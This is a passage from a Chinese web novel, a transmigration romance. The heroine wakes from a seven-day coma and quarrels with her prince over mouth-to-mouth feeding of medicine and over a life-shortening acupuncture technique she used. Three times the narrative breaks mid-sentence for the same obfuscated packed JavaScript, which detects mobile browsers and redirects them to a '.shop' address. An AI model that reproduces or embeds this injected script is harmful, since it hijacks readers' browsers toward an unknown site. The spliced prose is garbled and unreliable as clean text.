“想什么呢?先把药喝了吧,这要是张太医开的,专门为你补充气血的,快趁热喝。”君翊见着沈听晚又沉思起来,不禁开口,抬手把春婳手上的药碗拿到手上,轻车熟路的吹着有些滚烫的汤药。 “我不喝。” 沈听晚自打春婳一进门,就闻到了那浓浓的汤药味,简直是令人作呕,小脸不禁一皱。 这么苦得倒胃口的药,也不知道他昏迷的时候是怎么喝下去的。 也是奇怪,人昏迷的时候,应该没有吞咽的反应啊。 沈听晚想到这里,顿时察觉到了不对劲。 她抬眼看着一直垂着眸,小心吹着汤匙里黑黢黢汤药的君翊,有些不好的预感问到:“我昏迷这些天,是怎么把药喝下去的?” 君翊听见这话,手上的动作一顿,面上强撑着自然开口:“你喝不下去汤药,没办法,我只能用点特殊的办法了。” 但是他保证啊,给小姑娘喂药,他从来都只是专心的喂药,绝对没有任何的非分之想。 咳咳。 是有一点,但保证没有做任何过分的举动! 沈听晚在听到从君翊口中说的那句特殊的办法时,心里就已经隐隐生出了不好的预感了,但还是不死心的问道。 “什么特殊的办法?” 只见君翊的眼神略微有些躲闪,不太敢看沈听晚,目光盯着药碗,支支吾吾的说了一句。 “你说什么,我听不清,大点声!” 君翊深吸一口气,又重复着说:“嘴对嘴,我用内力把汤药渡给你的方式。” 这回沈听晚听清了,两是眼睛也彻底的黑了,只觉得浑身的血液仿佛倒流了般,气血翻涌。 “你的意思是,我这些天一直在吃你的口水?” 她那这个臭纸片人吃豆腐了?! “话别说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261950|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么难听,什么口水,你还嫌弃我不成。” “嗯嗯!”沈听晚拼了命的点着头。 嫌弃,非常嫌弃,特别无敌嫌弃! 君翊有些委屈的叹了口气:“你这个小没良心的,要不用这样的方式,你根本喝不下去药,给你熬了几碗药你怎么喝下去的,又会这么原封不动的吐出来,不喝药怎么能好啊!” “那你也不能这么喂我啊!”沈听晚也炸毛了。 她宁愿精血耗尽而亡,也不敢相信和君翊过了嘴的汤药! “好啦,先别纠结这些了,来,乖乖把药喝了。”君翊耐着性子,见沈听晚炸毛,温柔的安抚着。 沈听晚赌气的瞪着眼:“我不喝!” 她宁愿死,也不喝! 君翊:“真的不喝!” “不!” 两**眼瞪着小眼,僵持不下,站在边上的春婳,看着自家王爷和王妃两人调情,也是忍不住偷笑起来。 嘿嘿,他们王爷和王妃娘娘的感情可真好! “哎,那我也只能再委屈一下,用那种特别的方式喂晚晚喝了。”最后,君翊还是败下阵来,叹了口气,故作为难的准备要张口喝药。 “你等会!”沈听晚瞬间打了个激灵。 “什么叫你勉为其难,吃亏的是我好吧!” “这怎么能叫吃亏呢,要说吃亏的话,那我还和晚晚承受了一样的苦药呢。”君翊无辜的眨了眨眼,故作镇定的说着。 沈听晚的眉头拧的更深了。 好家伙,她见过不要脸的人,却从来没见过像君翊这家伙如此厚颜无耻之徒! 最后,沈听晚咬了咬牙,没好气的道:“扶我起来,我自己喝!” 她现在算是接受了这七天里喝了君翊无数口水的事实,可是现在既然醒了,她就没办法再忍受的了了。 “这就对了嘛!来,我扶晚晚起来。”君翊笑着说着,把药碗放在边上,转身动作轻柔的将沈听晚从床上扶了起来。 待沈听晚被扶起来之后,沈听晚又突然间想到了一件事,浑身僵住一瞬,眼睛直勾勾地盯着君翊。 第184章 这男人,实在是太坑了吧 “你等会,我问你,这七天我来月信,不会也是你……” 不会吧不会吧! 不会也是君翊这家伙给她清洗干净的吧? “那绝对没有!”见着沈听晚那一脸紧绷的表情,君翊原本还想着要逗一逗小姑娘,但又担心她大病初愈,怕她受不了,还是老老实实的回答道,生怕小姑娘受不住惊吓再晕死过去。 见着君翊满脸诚实的表情,再加上一旁的春婳也不断的点头,沈听晚这才猛猛松了一口气。 还好不是君翊。 要不然,她估计想死的心都有了,不对,是想杀死君翊的心都有了! 君翊见着床上这刚醒过来的人儿,虽然还是有些虚弱,但好在是醒了,高高悬在嗓子眼的心也彻底放了下来。 沈听晚能够醒过来真的是万幸,君翊看着眼前的小姑娘,忍不住的伸手去把人搂进了自己的怀里。 君翊的这个举动,吓了沈听晚一大跳,想要闪躲,奈何床就这么大点,根本就闪躲不急。 算了,想抱就抱吧。 沈听晚现在反正是已经认命了。 她人在君翊这儿,身体还虚弱着,压根就没有反抗的余地。 沈听晚叹了口气,任由着君翊抱着,老老实实的依偎在君翊的胸前,鼻子里闻到的都是君翊身上传来的汗味,药味,但沈听晚却离奇般的没有任何反感,也没有觉得难闻。 因为沈听晚知道,君翊是最爱干净的,可以说,在原书当中,君翊这个人是有轻微洁癖的。 我现在把自己弄成这副模样,也完全是因为这七天照顾自己才如此的。 “谢谢老天,把你又送回了我身边。”君翊闭上双眼,依旧庆幸的说着。 沈听晚:“……” 这跟老天有个毛线关系啊? 是她选择回来想要看看君翊哭鼻子的样子,一不小心掉下来的好吧…… 不过,沈听晚也没打算和君翊斗嘴。 他说些老天那就谢吧。 其实这世间有很多事情就是这么奇妙,从前沈听晚也是不信什么鬼神之论的,她是一个切切实实的唯物主义者,可是,就是这么奇怪,她好巧不巧的碰上了穿越这么神奇且离谱的事情。 弄得现在沈听晚都有些深度怀疑,这世上,到底还有什么是不可能发生的事情了! “那个什么,喂!抱一会儿得了啊,在这么抱着,我都要被你嘞窒息了!” 沈听晚从被子里伸出手来,戳了戳君翊腰间,忍不住翻了个白眼,不耐的开口。 她原本还以为,君翊是太过于激动了,抱着她也就抱了,自己也不会掉下来一块肉,哪成想,这家伙竟然越抱越紧,而且还没有半点要松开来的举动,沈听晚这才忍不住的出声。 “哦,那我轻一点抱你。”君翊也才发现,刚才是他太激动了,忘记小姑娘还是一个病人了,说着便微微松开了些。 沈听晚:“……” 这狗男人,还抱没完没了了是吧! “你撒开我!”沈听晚阴沉着脸,没好气的说道。 这都抱多长时间了,再抱下去,天都要亮了! 君翊见着小姑娘是真的生气了,这才依依不舍的放开。 说实话,这七天里,君翊没少抱着沈听晚入睡,但那个时候,沈听晚昏迷着,君翊心里只剩下焦急万分了。 现在小姑娘可算是醒了,君翊恨不得这辈子就这样一直抱着才能放心呢。 被放开的沈听晚,这才有了机会可以顺畅的呼吸上两口,突然间觉得自己腹部有些空空的,下一瞬,听见房间里传来两声咕噜咕噜,腹部的肠鸣声。 呃…… 是从沈听晚的肚子里传出来的。 昏迷了七天,沈听晚也不知道这七天自己有没有吃过东西,现在就只有一个感觉。 那就是饿! 太饿了。 饿的她都觉得自己能一次性吃下去一整头牛地程度。 君翊也自然是听到了动静:“晚晚这是饿了吗?” 沈听晚又是无语一阵,狠狠地翻了个白眼,故作很凶的低吼:“知道我饿了,还不去弄点吃的! 亏我在你生病那会儿,把你养的白白胖胖的,我生病这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261951|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你给我吃什么了,看把我给饿的,都要瘦成皮包骨了!” 沈听晚说是皮包骨也不过分,本身这些天就虚弱的很,吃不下东西,再加上来月信浑身不舒服,整张小脸上没有半点血色不说,两颊都要凹陷下去了。 “咳咳,晚晚吃不下任何东西,就只能喝下去米汤。” 而且还都是他嘴对嘴强迫着给沈听晚喂下去的。 喝了七天的米汤,她不受才怪呢。 沈听晚深吸一口气,好好好,敢情她每天都靠着那一点点米汤度命了是吧,还是进口的米汤呢! “不是你脑袋是不是撞墙撞傻了!” “啊?”被沈听晚这突如其来的一顿骂,君翊有些迷茫了。 他又怎么了? 沈听晚深吸一口气:“不知道昏迷的人需要极大的营养吗,还有,你怎么昏倒的,是耗费大量精力才昏过去的,你不知道给我弄点补品啊? 光喝米汤,怪不得我要昏迷七天呢!” 敢情这七天里头,得又一半是因为她被饿晕过去的啊。 君翊愣了一瞬,这才后知后觉,有些懊恼的拍了一下自己的脑门:“我怎么没想到呢?” 他怎么就没想到给沈听晚喂一些补气血的汤呢? 就光喝米汤,难怪小姑娘醒过来之后戾气这么大。 沈听晚现在已经是没有任何力气再骂了,无力的靠在床头,更是十分无奈的抬头望着房梁。 老天啊,她现在真的后悔了。 要是再给她一次机会的话,他一定毫不犹豫,绝不回头,一条路向前走,坚决不在回到君翊这家伙的身边了! 这个男人,实在是太坑了。 养在他身边,沈听晚真担心哪天会被君翊给饿死。 君翊也是后悔了,一脸愧疚的看着满眼气鼓鼓的沈听晚:“我下次就知道了……” 以后,他绝不再犯。 下次? 他还想着有下一次? 君翊是有多看不得她好啊! 沈听晚看向君翊,眼神无力又无奈:“你还是别说话了。” 第185章 他竟然知道? 沈听晚生无可恋的开口说着。 君翊看着眼前的沈听晚,突然间也感受到了一抹极大的怨气从沈听晚的身上袭来,赶紧转头看向春婳:“还不快去给王妃弄些出的来。” 小姑娘现在饿了这么多天的肚子,心情能好就怪了。 “是,属下这就去!”春婳笑着开口应了下来,王妃娘娘能够醒来,她也很开心。 “多给我弄点带荤腥的!”沈听晚赌气似的开口。 这么多天吃的那么清汤寡淡,饶是沈听晚这种对食物没什么讲究的人,也觉得满嘴都是索然无味儿。 “是,属下这就去!”听到王妃娘娘的话,春婳脸上的笑意更深了不少,一出望外的掀开帘子往外跑去。 真好,他们王妃娘娘醒过来了。 那王爷也不用每天都担心着王妃娘娘而吃不下睡不安稳了。 春婳从房间里离开,没有看见沈听晚躺在床上,一脸幽怨的瞪着君翊。 “君翊!” “怎么了?”君翊看向沈听晚,语调仍旧温和的开口。 沈听晚深吸一口气,努力的控制着自己的情绪,眼下,房间里就是剩下她和君翊两个人,没有了春婳,沈听晚也就毫不顾忌的说:“你是不是有些太过分了!” 君翊盯着沈听晚那一脸恼羞成怒的脸颊,微微移目便看到她那赌气嘟起的娇艳红唇,没忍住的一笑。 “如果晚晚还介意是我用那种特别的方式喂你喝药吃东西的话,嗯……好吧,我承认是我的错,但如果从来一次的话,我还是会这样做的。”君翊嘴角勾着笑意,但确实极为认真的开口说道。 见着沈听晚那气鼓鼓的小脸依旧是一副不满意的模样,君翊又想了一下:“嗯,如果晚晚觉得心里不平衡的话,那我也不嫌弃晚晚的,你可以还回来!” 沈听晚听见君翊的话,万分诧异的瞪着君翊。 这还是那个君翊吗? 好像,她从来没了解过真正的君翊,竟然是这样的? 沈听晚最后还是决定,尽快结束这个话题微妙。 不然的话能怎么办,打也打不过,说似乎也不占上风啊。 沈听晚深吸一口气:“定远侯家的那个小公子现在情况怎么样了?” 她临近昏迷之前,印象里,她是给这个小家伙解了毒的,但虽然毒已经解了,毕竟是那么点大的孩子,那毒对谢家小公子的伤害也毕竟是不小的,若是不加以好生调养的话,往后一定会产生极大的副作用。 君翊听见沈听晚地话,原本目光柔和的他,神色突然间一顿,半晌薄唇才缓缓微动:“还有那个精力去担心别人,你知不道因为他,才叫你变成这样的?” 君翊的嗓音依旧温柔,但沈听晚却能听出来这里面有几分严肃,几分担忧,还有一分是恼怒…… 定远侯家小公子的情况,君翊并不知道。 自打回来之后,他就一直守在沈听晚的床边,整整七天,君翊像是对外界彻底的断开了联系,不光是他没有过问过外面的情况,就连外面的人,也丝毫看见不了这个房间。 沈听晚低垂下眼眸,声音很轻有很别扭的说:“那个……叫你担心了啊。” 她真的不知道,自己的昏迷,会给君翊带来怎么大的反应。 “我确实很担心你。” 君翊这话说的极为干脆。 就在沈听晚听见这话,身形略微有些僵硬时,他又拖着缓慢的语调开口:“看在我这么担心你的份上,晚晚,你可以回答我一个问题吗?” “什么?” 沈听晚表面上看上去漫不经心的问着,单事实上此刻的心里却因为听到君翊的那句话,而泛起一阵阵的涟漪。 这个家伙,真的有那么担心她的身体? 这还是第一次,沈听晚第一次在一个人的身上,感受到这个人对她如此的关心。 沈听晚眸光轻颤的盯着君翊,一双小手埋在被子里,指尖渐渐收紧。 君翊的眸色微微沉了沉,哑声的开口:“你给定远侯府的小公子解毒的针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261952|198051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,是有人强迫你学的吗?” 沈听晚听见这话,神色突然间一僵,很显然没想到,君翊想要知道的问题,竟然是这个。 沈听晚深吸一口气,嘴角略微有些僵硬的扯了扯:“你……怎么会这么想?我是将军府的千金,谁会逼迫我学我不喜欢的东西啊。” 然而事实上,沈听晚被君翊的目光看得确实是有些发虚。 她大声的吼道:“你这么看着我做什么?难道还不相信我说的话吗?” “我自然是信你的,但你难道不知道,七转反魄针对施针者的伤害是巨大的吗?” 君翊的眼神依旧直直的看着沈听晚,面色由方才的温柔逐渐变得严肃起来。 对于沈听晚的醒来,君翊的确是非常高兴,但高兴之后,君翊还是有些生气的。 小姑娘为了救好别人,这么不把自己的生命当回事,她可曾把她身边的亲人放在心上?可曾有想过,如果她一旦出了事,他和沈家的人,将会如何崩溃绝望的吗? 七转反魄针?! 沈听晚的双眼不禁瞪圆了几分。 这里的人竟然会知道这上古早已失传的针法? 君翊的双眼微眯,眸中闪着一道危险的光芒:“怎么,你是觉得本王不应该知道吗?” 语气并没有变,可沈听晚却听出了君翊这话中的几分冷意,因为不知道从什么时候起,君翊在她的年前就很少再自称本王了,而这一次,君翊说的是本王。 沈听晚连忙坐直了身板,双腿不禁并拢,一双小手也紧张的不由的攥紧几分。 “那个,其实也没那么严重的……” “你还想要瞒着我到什么时候?张太医都已经全部告诉本王了。” “什么?张太医说什么了?”沈听晚脸上的肌肉不禁抽了抽。 “张太医说,**得此针法之人,十分危险,而且每运用一次此阵法,便会折损施针者的自身寿命,可以说是以命换命,施针者的一生,也只能最多替十个人施针而已!”